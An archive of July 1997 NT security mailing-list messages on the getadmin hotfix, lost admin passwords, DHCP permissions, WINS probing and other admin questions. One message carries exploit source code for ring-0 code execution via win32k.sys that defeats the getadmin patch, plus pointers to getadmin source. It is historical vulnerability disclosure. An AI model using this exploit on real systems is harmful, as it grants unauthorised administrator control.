>turning on the 'advanced' features, of course, but I don't see anything
>that makes sense to me (to solve my problem).
>
>tx very much for any response!
>pfm
>-- 
>--------------------------------------------------------------------------
>Pierfrancesco Marsiaj Centre for Earth Observation
>System Administrator Space Applications Institute
>e-mail: ceo-pfm@jrc.it Joint Research Centre
>phone: +39-332-785820 T.P. 441 - 21020 Ispra (VA) - Italy
>fax: +39-332-785461 http://www.ceo.org
>--------------------------------------------------------------------------
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
 You can get more info and a fix from the following URL...
 
 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfi
 xes-postSP3/getadmin-fix/Q146965.txt
 
 Rgds.


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Utility hack to become a member of the administrator
Author: owner-ntsecurity@iss.net at dell_unix
Date: 7/9/97 2:28 PM


A utility was posted publicly which allows any user on an NT system to 
become a member of the administrators group of that system. I am 
wondering if
there is more info on this.
 
Thanks,
 
Michael Kilty
Many systems today password protect their hardware configurations.
This is the NVRAM area where configurations are stored.
This is different than the operating system's password.

I doubt that a jumper setting can clear a windows NT password.
But I do know that a jumper setting can clear the password 
protection from the machines hardware configurations.
-Peter



In-reply-to: <199707100943.LAA15404@saturn.infra.CARNet.hr> 
--------
On Thu, 10 Jul 1997 11:43:40 +0200 Suzana Stojakovic-Celustka wrote:
>> We had a user with the administrator password on a NT standalone 
>> workstation get fired. He was the only one with the password. Is there 
>> anyway to get into this machine, or are we hosed?
>> 
>This is probably solved already with all those advices before, but if
>anybody is interested in hardware solution for Digital Venturis FX or
>Celebris FX workstations, here is the quote from System Reference book:
>-----------------------------------------------------------------------
>If You Forget Your Password
>
>Use the following procedure to erase a password from your computer.
>
>1. Turn off your computer and remove the outside cover.
>2. Change jumper J1 (pins 1 and 2) to password clear (jumper installed).
>3. Reconnect your computer and turn it on.
> Booting your computer with this switch in the on position erases the
> existing password(s).
>4. Turn off your computer and remove the outside cover.
>5. Change jumper J1 (pins 1 and 2) to normal mode (jumper not installed).
>6. Reconnect your computer and turn it on.
>7. Using the BIOS Setup utility, assign a new password.
>-------------------------------------------------------------------------
>
>A little bit complicated and not elegant at all, but that's what vendor
>recommends.
>
>Cheers,
>
>Suzana
> 
>

--
Peter H Girr
IBM BTV AIX/unix support girr@btv.ibm.com (802) 769-4407 Tie:446
Many systems today password protect their hardware configurations.
This is the NVRAM area where configurations are stored.
This is different than the operating system's password.

I doubt that a jumper setting can clear a Windows NT password.
But I do know that a jumper setting can clear the password 
protection from the machines hardware configurations.

--
+----------------------------+-------------------------------+
| Peter H. Girr | |
| NT/AIX/unix Server Support| |
| IBM MicroElectronics BTV | outside: girr@vnet.ibm.com |
| (802) 769-4407 Tie:446 | Fax: 769-4253 |
+----------------------------+-------------------------------+


>>OK, Is there an easy way to administratively set all Domain Clients (on
>>a per-machine basis, not per-user) to use a screensaver, to make that
>>screensaver secure, To set a mandatory timeout, and not allow domain
>>users to change these settings.
>
>What you want to do here is set up the default user to have the settings
>you want, and then all new users who log in will inherit those settings.

If the clients are NT or 95 clients, you can use policies
to suggest/enforce configuration settings. This can be done
by machine or by user. I don't think you can enforce a password
in 95 screensaver, though. Check out 95 and Nt resource kits
for details.

-Tony Matous

Message-ID: <33C4DEA7.70A005E3@gecad.ro>
Date: Thu, 10 Jul 1997 16:07:51 +0300
From: Costin RAIU 
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
MIME-Version: 1.0
To: NTBUGTRAQ@RC.ON.CA
Subject: [NTSEC] It's not over yet.
X-Priority: 3 (Normal)
References: <199707101046.NAA11078@www.gecad.ro>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi everyone,

We all know Microsoft released the getadmin hotfix.
However after a few hours of work, I was able to create a
new exploit which also works with this patch Microsoft just
realeased.

The problem is now in eax=4346 which is handled somewhere in 
win32k.sys.
There are more (I found 4) vulnerable functions, but not so interesting
like this one. By calling the function in a special way, you can
get your own code get executed at ring 0 privilege. My program will
simply change the byte of NtGlobalFlag to the DEBUG value, so you
can run GetAdmin (which after the fix is not working anymore).
Since compiling the source is very difficult, the compiled binary
is avaible at http://www.gecad.ro/~craiu/cr4.exe
This program was tested on 2 Windows NT patched machines, and worked
ok. (I got the Admin rights)

Here's the source of my program:


/*

Run user code at ring 0
Author: Costin RAIU 

*/
void* a[2];

void main(void) {
 int i; 
 for (i=0;i<2;i++) a[i]=(void*)0;
 *(char*)(0x4080a4)=0x80; //or bptr [NtGlobalFlag+2],c1h
 *(char*)(0x4080a5)=0x0d;
 *(char*)(0x4080a6)=0xb6;
 *(char*)(0x4080a7)=0xc2;
 *(char*)(0x4080a8)=0x14;
 *(char*)(0x4080a9)=0x80;
 *(char*)(0x4080aa)=0xc1;
 *(char*)(0x4080ab)=0xcf;

 _asm
 {
 mov eax,4346
 mov edx,offset a
 int 2eh
 }

}

Due to the nature of this bug, is very important the address of
the mov eax,4346 instruction must be 004080a4. I am not an
expert in the PE structure, but my cr4.exe program will always
run at that address on my test machine. An assembler version
might be very interesting, but there are other things to do
now. (like checking eax=187) If any of you guys has better assembler
skills, I would like to see a nice asm version of my program.
OBJE: 4080a4 is somewhere in the program space, but it is not
used (debug info/data space etc...) You can probably conroll
the address of the retf (which btw. it is located at
a0020b87h)
After doing the "or" instruction, and IRETD is required to
continue the execution of the function, otherwise the kernel will
crash.

bye,
c0s

Costin RAIU, Data Security Expert

E-MAIL : BUSINESS mailto:craiu@gecad.ro, PERSONAL craiu@usa.net
PGP Key : http://www.gecad.ro/~craiu/craiu.asc (or search www.pgp.com)
KeyID : 2048/DD35A295 Costin RAIU 
Key fingerprint = FD 14 2A 90 64 41 58 9A 6B 34 47 D8 C5 E2 F4 5C
At 11:31 7/10/97 +0300, Bob Love wrote:
>>I have a link on my NT web page to a freeware utility which does
>>allow you to change the admin password without knowing the old one ;)
>
>Holy smoke... is nothing sacred any more...
>
>Anyway, to Ronald... you probably won't need this...
http://www.ntsecurity.com/Services/Recovery/index.html any more, then. But
here it is, just in case...

Andy's service is a bit pricey - we have links to 3 free to cheap utilities
which do the same thing at http://www.iss.net/vd/sitesn.html

Of course, if it isn't patched, and _anyone_ can log on, getadmin will
certainly do the trick...

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |


> >We had a user with the administrator password on a NT standalone
> >workstation get fired. He was the only one with the password. Is
> there
> >anyway to get into this machine, or are we hosed?
> 
> Don't give up hope. Yet.
> 
> The good news is, just within the last few days I was somewhere and
> saw a utility along the lines of "recovering from a lost admin
> password". I thought at the time, I must remember to go download
> that...
> 
> The bad news is, I forgot, and now I can't remember where it was.
> Perhaps www.windows-nt.com, or one of the other NT sites... BHS?
> 
> Try www.ntsecurity.com. They have some information on recovering from
> a lost password...
> 
> 
> SSB
> 



We have this problem as well.

The local Workstation Power Users do not have the authority to change any
network config parameters (to verify this, sign onto NT WKS as a Power User
and go into Control Panel, Network. You shouldn't be able to change any of
the parameters.) I'd also imagine (but I'm not positive about this) that
a lowly Domain user has non rights to write or change info on the DHCP
server.

The DHCP Client service on the local workstation is set up to run under the
Local System Account. As such, the regular process of renewing the lease
(at 50% and 85% etc. of the lease period) is performed by the DHCP client
service, which should have sufficient rights to renew/release the IP
address.

Having said this, why do you want your users to be able to change their
addresses?

Hope this helps,
Erik Sojka

 *----------------------------*
 |Erik P. Sojka |
 |Network Administrator |
 |SCT Manufacturing Systems |
 |esojka@sctcorp.com |
 *----------------------------*




dan.bryntze@writeme.com wrote:



Please respond to dan.bryntze@writeme.com

To: ntsecurity@iss.net
cc: (bcc: Erik Sojka/MDS/SCT)
Subject: [NTSEC] Problems with ipconfig /renew




Hi!
I have some permission problem with ipconfig /renew and /release. Our
users are Power Users at our workstations and I would like them to
perform renew and release of IP addresses. As far as I've seen this
operation is only available to Administrators.
I've tried to change permissions in the registry for the network adapter
but it didn't work.
Here is the result that I get (where elpc3r7 is the 3com network
adapter):
---
C:\>ipconfig /renew
Windows NT IP Configuration
Error: Access Denied: Renewing adapter "elpc3r7"
----
Is it possible to allow Power Users to renew and release IP addresses?
In that case how do I setup it up to work properly?
Any help would be appreciated
/Dan Bryntze







Either a NAT or MS Proxy will provide that support

------------------------------------
Wesley.Peace@ncons.com
Microsoft Exchange/BackOffice MVP

"The only tools one needs in life are: WD-40 to make things go and duct
tape to make them stop." -- anon.


> -----Original Message-----
> From: Aymeric Grassart [SMTP:aymeric@onShore.com]
> Sent: Sunday, July 06, 1997 6:20 PM
> To: Bernhard Schneck
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] MS Proxy and NAT
> 
> 
> Sorry to go off on a tangent but is there a service that will do ip
> masquerading from a range of "real" internet ips to an internal
> network of
> 192.168.x.x ips. So that when a computer tries to go out to the net,
> the NT
> server gives it an 206.69.20.x ip.
> 
> Aymeric.
> 
> >
> >\Bernhard.
> >
Sorry, if this topic has been discussed previously but, if i change my password (even at the PDC) & then lock my desktop (workstation), why do I still need to use my old password to unlock the workstation ?

The password is obviously cached & only checked against the SAM db at logon. Does anyone know where the password is cached (even in encrypted form) ? Is there anyway to prevent this from occurring ?

Any advise would be appreciated.

Regards, Ivor R

The hotfix released by MS for getadmin.exe DOES NOT WORK completely. Using
a slightly different tactic, the exploit can still be made to work in most
conditions (e.g. a not-too-heavily-loaded-down NT server).


By running a program that performs some slight manipulation 
running getadmin.exe, the exploit can still be run successfully. This was
tested on NT 4.0 w/SP3 and all current hotixes loaded as of July 10, 1997,
and found to work as stated. 

This condition was reported to NTSecurity.NET by Constin Raiu, who
requested that we post this message to the relavant lists.

For sample code and sample .exe to test with, go to http://www.ntsecurity.ne
t and look at the GetAdmin page.

mje.


Erik Sojka wrote:

> We have this problem as well.
>
> The local Workstation Power Users do not have the authority to change
> any
> network config parameters (to verify this, sign onto NT WKS as a Power
> User
> and go into Control Panel, Network. You shouldn't be able to change
> any of
> the parameters.) I'd also imagine (but I'm not positive about this)
> that
> a lowly Domain user has non rights to write or change info on the DHCP
>
> server.

> The DHCP Client service on the local workstation is set up to run
> under the
> Local System Account. As such, the regular process of renewing the
> lease
> (at 50% and 85% etc. of the lease period) is performed by the DHCP
> client
> service, which should have sufficient rights to renew/release the IP
> address.
>
> Having said this, why do you want your users to be able to change
> their
> addresses?

 My users are using laptop computers and move their computers between
different offices within our company (with different DHCP servers and
different IP scopes) and since they always haven't got time to wait 50%
of the lease period I would like them to be able to perform a renew
themselves as Power Users.

I could change the lease period to a shorter period to reduce this
problem, but this means other problems..

/Dan

There is actually a much better method to use. One which MS actually
uses.

Each user must Login to the domain; if you notice, there is an option to
run a Login script.

What I have done in the past is:

1. Enable Systems Policies
2. Specify that each user run a login script. i.e., Welcome.exe

That script just happens to be a Modal dialog box created with C++,
Delphi, or Visual Basic which states the required Legal Notices and
requires the user to respond before proceeding.

Also the Registry changes that would normally have to be done on a
client by client basis can be handled via the System Policy Editor.
------------------------------------
Wesley.Peace@ncons.com
Microsoft Exchange/BackOffice MVP

"The only tools one needs in life are: WD-40 to make things go and duct
tape to make them stop." -- anon.


> -----Original Message-----
> From: Erik Sojka [SMTP:esojka@sctcorp.com]
> Sent: Tuesday, July 08, 1997 9:01 AM
> To: BBOYD@mail.state.ky.us
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] DOMAIN (Legal Notice before Logon)
> 
> 
> 
> 
> As far as I know, the registry setting for the legal notice only
> applies to
> the local registry on whoch it is set; If you set it on a PDC or BDC,
> only
> the person logging on locally at the server console will see the
> message.
> In order to apply it to all domain NT workstations (I don't know if
> the
> setting works in W95), it needs to be set in all of the local
> registries.
> Setting it on existing deployed workstations could probably be done
> via
> login scripts or SMS.
> 
> Hope this helps,
> Erik Sojka
> 
> *----------------------------*
> |Erik P. Sojka |
> |Network Administrator |
> |SCT Manufacturing Systems |
> |esojka@sctcorp.com |
> *----------------------------*
> 
> 
> 
> 
Excuse the lameness of this question, but I don't use Pathworks on a daily
basis.

When using NT in a DEC Pathworks environment, Pathworks makes the VMS system
a Domain Controller, and exports the VMS UAF user/group list to NT servers
in the same domain. How does one prevent displaying all VMS users to the NT
users? Do you delete non-NT users individually from the NT domain, or is
there a way to make account names invisible to NT users?

This was a big problem before the anonymous user fix, where anyone in the
company can setup a false trust, and view all VMS users in a Pathworks
domain... Or is it fixed for Pathworks/Anonymous users? Hmm.

Bill Stout

If you can explain any of this, a suggested avenue of investigation, or shed
some light on the situation, I would be grateful.

I have been experiencing some interesting behavior yesterday and today. I
have had a server gateway machine reboot when I was out of the room. I then
later witnessed the machine attempting to dial out on the ISDN and
immediately there after rebooted. Today while standing there it started to
dial out on the ISDN and I pulled the phone jack. No application was
running (that I knew about that would explain this behavior. No application
complained when connection was cut. No internet applications have been
setup by myself to remotely check my mail at intervals. My current
configuration is as follows:

Gateway Server:
Pentium 166mHz 64MB RAM, 4GB Disk
Windows NT Server 4.0 patch release 3 (no hot fixes)
4 Serial ports with connected Fax modem, Voice/Fax modem, and ISDN modem.
None are set up to autoanswer data. The Fax modem will receive faxes, the
Voice modem will take voice mail. The ISDN does not answer.
Ethernet card running NetBios of TCP/IP using 10.200.200.* internal addressing.
Running Firedoor (current beta) firewall to mindspring.com ISP with
dynamically assigned IP address. WinFax Pro 8.0 handles the voice modem and
the fax modem. MS Proxy server installed but service disabled. Also
installed is the MS IIS Transaction server, the Index Server, SQL server
(disabled). A full MS development system. This has been in place for a
week or so. Recently installed was the SAPS Communication Server for NT
(eval) and the ZetaFax Server (eval). Yesterday, I also ran the IE4.0
Preview program required to downloaded the IE4.0 Preview. The program was
actually installed on the testbed machine described below and NOT installed
on this machine. The only odd behavior during download is that the program
claimed that the digital signatures were out of date and did I still want to
download it. McAfee virus scan (eval) was downloaded and run on this
machine in the last 3 days and has been running as a service.

Testbed machine:
Pentium 90mHz 40MB RAM, 810MB Disk
Windows NT Workstation 4.0 patch release 3 (no hot fixes)
Ethernet card running NetBios of TCP/IP using 10.200.200.* internal addressing.
Attempted to run download/setup using IE4.0 Preview using download program
through firewall. This failed and was restarted several times before I
downloaded it on the server. I then installed IE4.0 Preview on the testbed.
After the behavior last night when the machine dialed out and rebooted, I
disconnected the machine from the network and later shut it down. This
means that the gateway server today tried to dial out without this machine
being up.

Development Workstation
Pentium 200mHz 128MB RAM, 6GB Disk
Windows NT Workstation 4.0 patch release 3 (no hot fixes)
Ethernet card running NetBios of TCP/IP using 10.200.200.* internal addressing.
McAfee virus scan (eval) was downloaded and run on this machine in the last
3 days. A full MS development platform is on this machine including the
Transaction server. The SAPS communication client has been installed on
this machine.

Virtually all the development tools and servers are my MSDN subscription
versions. I have noticed since installing the MS servers that there are
irregular intervals where the disk activity is quite high and then stops.
But the internet dial out and server rebooting is not acceptable. Does
anyone have any ideas?


Frederick N. Brier
Sr. Software Engineer
Brier Patch Associates

sorry for intrusion - testing my mail route to here.

Hi, Dan If your users are running Win 95, then running winipcfg from an
Icon off the desktop may fix the problem. An option in Winipcfg has the
power to renew the dhcp address.
Hope this helps.

Derek

----------
> From: Dan Bryntze 
> To: Erik Sojka 
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] Problems with ipconfig /renew
> Date: Friday, July 11, 1997 6:52 AM
> 
> Erik Sojka wrote:
> 
> > We have this problem as well.
> >
> > The local Workstation Power Users do not have the authority to change
> > any
> > network config parameters (to verify this, sign onto NT WKS as a Power
> > User
> > and go into Control Panel, Network. You shouldn't be able to change
> > any of
> > the parameters.) I'd also imagine (but I'm not positive about this)
> > that
> > a lowly Domain user has non rights to write or change info on the DHCP
> >
> > server.
> 
> > The DHCP Client service on the local workstation is set up to run
> > under the
> > Local System Account. As such, the regular process of renewing the
> > lease
> > (at 50% and 85% etc. of the lease period) is performed by the DHCP
> > client
> > service, which should have sufficient rights to renew/release the IP
> > address.
> >
> > Having said this, why do you want your users to be able to change
> > their
> > addresses?
> 
> My users are using laptop computers and move their computers between
> different offices within our company (with different DHCP servers and
> different IP scopes) and since they always haven't got time to wait 50%
> of the lease period I would like them to be able to perform a renew
> themselves as Power Users.
> 
> I could change the lease period to a shorter period to reduce this
> problem, but this means other problems..
> 
> /Dan
All

Im unsure whether anyone has experienced this or not, I have an NT4 SP3 box
running MSACCESS 2, If I lock the workstation and then attempt a remote 
shutdown of the box, nt displays the end task dialogue, and if you simply click
cancel, you have access to the box. It appears that the workstation lock is
actually still in place, but has been pushed to the bottom of the window layer..

If anyone has seen this, can it be prevented ?

Regards
John


 I also had problems after installing SP3 on NT4.0 server... just a few minutes after installing it on 2 servers, these computers hanged up trying to reach the network neighborhood!! BOTH!!
Of course fter uninstalling it, they worked just fine again . 
 Any tip why this hapenned? 
[Rodrigo Simon Coutinho] 
http://www.inf.ufpr.br/~rsc89

 Hello,
 
 We are considering Exchange, but have been unable to find much 
 information on how it will affect NT 4.0 with SP3 + admnfix, icmpfix, 
 lsa-fix, and oobfix.
 
 Some people on the list have said Exchange is untested for security, 
 or that they haven't evaluated it completely. I can't find much info 
 other than NT and browser security itself.
 
 Are there known security fixes (good ideas) specific to securing 
 Exchange or even other mail/messaging servers on NT?
 
 Thanks,
 
 Davi Ottenheimer
 
 UIHC - Radiology
 davi-ottenheimer@uiowa.edu
Hello
We just tried to install a version 3.0 of Chekpoint firewall on a 
NT 4 server with SP3 
Do not do this ...
symptoms : snmp troubles and explorer was not updated.
Best regards 
michael


>----------
>De : Rodrigo Simon Coutinho[SMTP:rodrigo@sol.tecpar.br]
>Date : vendredi 11 juillet 1997 14:39
>A : 'Jens-Uwe Schmidt'
>Cc : ntsecurity@iss.net
>Objet : [NTSEC] Problems NT4.0/SP3 
>
>
>
> I also had problems after installing SP3 on NT4.0 server... just a few
>minutes after installing it on 2 servers, these computers hanged up trying to
>reach the network neighborhood!! BOTH!!
>Of course fter uninstalling it, they worked just fine again . 
> Any tip why this hapenned? 
>[Rodrigo Simon Coutinho] 
>http://www.inf.ufpr.br/~rsc89
>
Could someone tell me where i could get the source code for sping and also
the source to the getadmin utility.

 Thanks
Under normal DHCP operations the computer will detect being on a new
subnet and request a new IP automatically. They should not have to do a
manual renew unless they move without rebooting.

Jason Nash

> -----Original Message-----
> From: Dan Bryntze [SMTP:dan.bryntze@writeme.com]
> Sent: Thursday, July 10, 1997 5:22 PM
> To: Erik Sojka
> Cc: ntsecurity@iss.net
> Subject: Re: [NTSEC] Problems with ipconfig /renew
> 
> Erik Sojka wrote:
> 
> > We have this problem as well.
> >
> > The local Workstation Power Users do not have the authority to
> change
> > any
> > network config parameters (to verify this, sign onto NT WKS as a
> Power
> > User
> > and go into Control Panel, Network. You shouldn't be able to change
> > any of
> > the parameters.) I'd also imagine (but I'm not positive about
> this)
> > that
> > a lowly Domain user has non rights to write or change info on the
> DHCP
> >
> > server.
> 
> > The DHCP Client service on the local workstation is set up to run
> > under the
> > Local System Account. As such, the regular process of renewing the
> > lease
> > (at 50% and 85% etc. of the lease period) is performed by the DHCP
> > client
> > service, which should have sufficient rights to renew/release the IP
> > address.
> >
> > Having said this, why do you want your users to be able to change
> > their
> > addresses?
> 
> My users are using laptop computers and move their computers between
> different offices within our company (with different DHCP servers and
> different IP scopes) and since they always haven't got time to wait
> 50%
> of the lease period I would like them to be able to perform a renew
> themselves as Power Users.
> 
> I could change the lease period to a shorter period to reduce this
> problem, but this means other problems..
> 
> /Dan
You can get it at http://www.darkening.com/

Jim Payne

jpayne@ospreysystems.com http://www.ospreysystems.com/

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzMB25wAAAEEAMlfcFIguNX8RhZZTcYHybLBA7mqRidPGnn9eihIvrOr5bm0
O7c49ATy3gKxgoNKcE2rCdmjMg9Dztdel0jv9melndBk7uL1opshyltH2aRLrHrM
HPmvbEusM5YJMind4iOqEcSJyjiX+CbYr+n63MIUsnb1qlIa5BS0v+Ezvv5tAAUR
tCRKaW0gUGF5bmUgPGpwYXluZUBvc3ByZXlzeXN0ZW1zLmNvbT4=
=rqyh
-----END PGP PUBLIC KEY BLOCK-----




>-----Original Message-----
>From: Chi Wong [SMTP:cw005e@uhura.cc.rochester.edu]
>Sent: Friday, July 11, 1997 10:27 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] Need Sping Source Code
>
>Could someone tell me where i could get the source code for sping and also
>the source to the getadmin utility.
>
> Thanks
Get the source to GetAdmin from http://www.ntsecurity.net


Chi Wong wrote:
> 
> Could someone tell me where i could get the source code for sping and also
> the source to the getadmin utility.
> 
> Thanks




You need to log off and log back on!




ivorr@samara.co.zw on 07/11/97 21:06:33

To: ntsecurity@iss.net
cc: (bcc: Pat Hayden/USCONNECT)
Subject: [NTSEC] Workstation Lock After Changing Password




Sorry, if this topic has been discussed previously but, if i change my
password (even at the PDC) & then lock my desktop (workstation), why do I
still need to use my old password to unlock the workstation ?
The password is obviously cached & only checked against the SAM db at
logon. Does anyone know where the password is cached (even in encrypted
form) ? Is there anyway to prevent this from occurring ?
Any advise would be appreciated.
Regards, Ivor R





On Mon, 7 Jul 1997, David LeBlanc wrote:

> At 18:01 7/4/97 -0400, Illuminati Primus wrote:
> 
> [interesting method Linux uses snipped]
> 
> >So, basically, I am saying that the numbers generated by sending/receiving
> >packets from one dest/source ip/port combination to measure sequence
> >predictability of a target OS might be misleading, depending on the
> >operating system. For linux, I am sure that if you look at the sequence
> >numbers given to your sequence probers for different port combinations,
> >the rate of predictability will be FAR beneath 5%. It is possible that
> >there might be a similar sequence number generator in place for NT. We
> >can only hope the people in Redmond thought of that :)
> 
> What you can run into is a situation where even given a very random sequence
> number generation scheme, you'll have the difference be the same for more
> than one pair of packets. Note that if you send 24 packets for your sample,
> and you guess just one, you get ~5%...

Well, the statistics seemed to suggest that ~5% (and sometimes less) rate
of predictability was common.. Even if it was a one-time lucky hit,
1:4294967296 odds are usually pretty difficult to overcome.. I'd recommend
trying your hand at the lottery. If the predictability scanner is already
using varying port numbers (and in the best case) varying source IPs (this
would take a little bit of setting up) and you made a lucky hit, then
something is probably going wrong in the linux random number generator. If
you are being lazy and using the same port & ip combination for each
connection request, then the numbers you are getting could be
misleading... and this might apply to other operating systems too. I'd
venture to guess that ~5% is the around the rate of predictability you get
when you are getting sequences that are simply incremented every
millisecond... 

> I'd venture that actually spoofing something with a sequence generation
> method such as Linux uses would be somewhat difficult, but as you point out,
> you could essentially brute force it until you got lucky.

4294967296 tries would probably take longer than linux would leave the
connection open. Even half that (the average amount of tries it would
take) would be hard to work through in enough time.

> I hope to see NT improve significantly in this area - look at it this way -
> it used to be hideously predictable (v1.0), now it is a little less so
> (v2.0), and on the next try, they will get it right! 

Hopefully :)

-vermont@gate.net

Exchange Server uses NT domain security for its authentication & access
control, and NT RPC for much of its communication -- so any fixes for NT
also apply to Exchange Server.

Some additional info on securing your Exchange Server can be found in a
white paper at http://www.microsoft.com/exchange/techsupp/exchsec.htm.

==========
Jim Reitz (mailto:jimre@microsoft.com)
Program Manager
Microsoft Corporation

> -----Original Message-----
> From: DOttenheimer@rad-eng-po.radiology.uiowa.edu
> [SMTP:DOttenheimer@rad-eng-po.radiology.uiowa.edu]
> Sent: Friday, July 11, 1997 7:41 AM
> To: 'NT Security Mailing List'; Peace Wesley
> Subject: [NTSEC] Preparing for Exchange
> 
> Hello,
> 
> We are considering Exchange, but have been unable to find much 
> information on how it will affect NT 4.0 with SP3 + admnfix,
> icmpfix, 
> lsa-fix, and oobfix.
> 
> Some people on the list have said Exchange is untested for
> security, 
> or that they haven't evaluated it completely. I can't find much
> info 
> other than NT and browser security itself.
> 
> Are there known security fixes (good ideas) specific to securing 
> Exchange or even other mail/messaging servers on NT?
> 
> Thanks,
> 
> Davi Ottenheimer
> 
> UIHC - Radiology
> davi-ottenheimer@uiowa.edu
Yes, you need to log off and log back on. This is necessary not only
when you change your password, but I also ran into that problem when I
changed the name of an account. When I tried to use the new name, NT
asked me if I wanted to log off the current user, which it recognized by
the old name only. Sure, it's bass ackwards; but that's sadly how it
is.


Pat Hayden wrote:
> 
> You need to log off and log back on!
> 
> ivorr@samara.co.zw on 07/11/97 21:06:33
> 
> To: ntsecurity@iss.net
> cc: (bcc: Pat Hayden/USCONNECT)
> Subject: [NTSEC] Workstation Lock After Changing Password
> 
> Sorry, if this topic has been discussed previously but, if i change my
> password (even at the PDC) & then lock my desktop (workstation), why do I
> still need to use my old password to unlock the workstation ?
> The password is obviously cached & only checked against the SAM db at
> logon. Does anyone know where the password is cached (even in encrypted
> form) ? Is there anyway to prevent this from occurring ?
> Any advise would be appreciated.
> Regards, Ivor R
After portscanning one of my NT4.0 servers (running as a BDC, also running
WINS and DHCP), I noticed that it detected port 42.

Being bored, I telnetted to mybackupdomaincontroller.mysite.com 42, typed
in some gibberish, and hit .

The following error appeared in the event-log:
Source: WINS
Category: None
Event: 4306
User: N/A
Computer: mybackupdomaincontroller

Description:
The length of the message sent by another WINS indicates a very big
message. There may have been a corruption of the data on the wire. WINS
will ignore this message, terminate the connection with the remote WINS,
and continue on. 

I would think that this indicates:
a) that the information in the WINS database *might* be pulled down if
someone could duplicate the transaction. (of some value to hackers,
perhaps).
b) that it would be possible to craft a DoS attack, where bogus data is
entered into the WINS database -- or even where false data is put in for
real machines.

Of course, I could also be bored and have too much time on my hands.


--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


BTW, the server is NT4.0+SP3+oobfix+icmpfix+getadminfix+LSAfix.

On Fri, 11 Jul 1997, John "E.R." Jasen wrote:

> After portscanning one of my NT4.0 servers (running as a BDC, also running
> WINS and DHCP), I noticed that it detected port 42.
> 
> Being bored, I telnetted to mybackupdomaincontroller.mysite.com 42, typed
> in some gibberish, and hit .
> 
> The following error appeared in the event-log:
> Source: WINS
> Category: None
> Event: 4306
> User: N/A
> Computer: mybackupdomaincontroller
> 
> Description:
> The length of the message sent by another WINS indicates a very big
> message. There may have been a corruption of the data on the wire. WINS
> will ignore this message, terminate the connection with the remote WINS,
> and continue on. 
> 
> I would think that this indicates:
> a) that the information in the WINS database *might* be pulled down if
> someone could duplicate the transaction. (of some value to hackers,
> perhaps).
> b) that it would be possible to craft a DoS attack, where bogus data is
> entered into the WINS database -- or even where false data is put in for
> real machines.
> 
> Of course, I could also be bored and have too much time on my hands.
> 
> 
> --
> "What do you want?" -- Mr. Morden, Microsoft Sales VP
> 
> -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> 
> 
> 

--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


Hi,


I am running a system with two Pentium Pro 200 CPUS on an Intel PR440FX
motherboard. The problem I am having is that every few hours the entire
system will just lock up solid and I have to reboot. There are no entries
in the logs to say what might be going on.

Does this sound like an OOB attack or something similar?

Any help would be appreciated.

Thanks,

Peter Webb - B.App.Sci (Comp Sci)
System Administrator - Audiophiles Paradise Internet
Email - pwebb@vds.net.au



A few thoughts.

WINS is a dynamic name service and as such any client can register with
the WINS server using the UDP based names resolution protocols for
netbios.

WINS servers should not be live on the Internet. This is really an
Intranet name service.

WINS Administration and replication is done via RPC.

The administration occurs over secure RPC and access is authenticated.

WINS operates in a push/pull fashion but all data is really pulled from
replication partners. By default you only replicate with configured
partners. A WINS server connects to its replication partners by IP
address based on a pull time interval or
after push notification from a partner.


Dave


> -----Original Message-----
> From: John "E.R." Jasen [SMTP:jjasen1@umbc.edu]
> Sent: Friday, July 11, 1997 4:35 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Re: Possible WINS attack?
> 
> BTW, the server is NT4.0+SP3+oobfix+icmpfix+getadminfix+LSAfix.
> 
> On Fri, 11 Jul 1997, John "E.R." Jasen wrote:
> 
> > After portscanning one of my NT4.0 servers (running as a BDC, also
> running
> > WINS and DHCP), I noticed that it detected port 42.
> > 
> > Being bored, I telnetted to mybackupdomaincontroller.mysite.com 42,
> typed
> > in some gibberish, and hit .
> > 
> > The following error appeared in the event-log:
> > Source: WINS
> > Category: None
> > Event: 4306
> > User: N/A
> > Computer: mybackupdomaincontroller
> > 
> > Description:
> > The length of the message sent by another WINS indicates a very big
> > message. There may have been a corruption of the data on the wire.
> WINS
> > will ignore this message, terminate the connection with the remote
> WINS,
> > and continue on. 
> > 
> > I would think that this indicates:
> > a) that the information in the WINS database *might* be pulled down
> if
> > someone could duplicate the transaction. (of some value to hackers,
> > perhaps).
> > b) that it would be possible to craft a DoS attack, where bogus data
> is
> > entered into the WINS database -- or even where false data is put in
> for
> > real machines.
> > 
> > Of course, I could also be bored and have too much time on my hands.
> > 
> > 
> > --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> > 
> > -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> > 
> > 
> > 
> 
> --
> "What do you want?" -- Mr. Morden, Microsoft Sales VP
> 
> -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> 
ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/lm-fix

DOCUMENT:Q147706
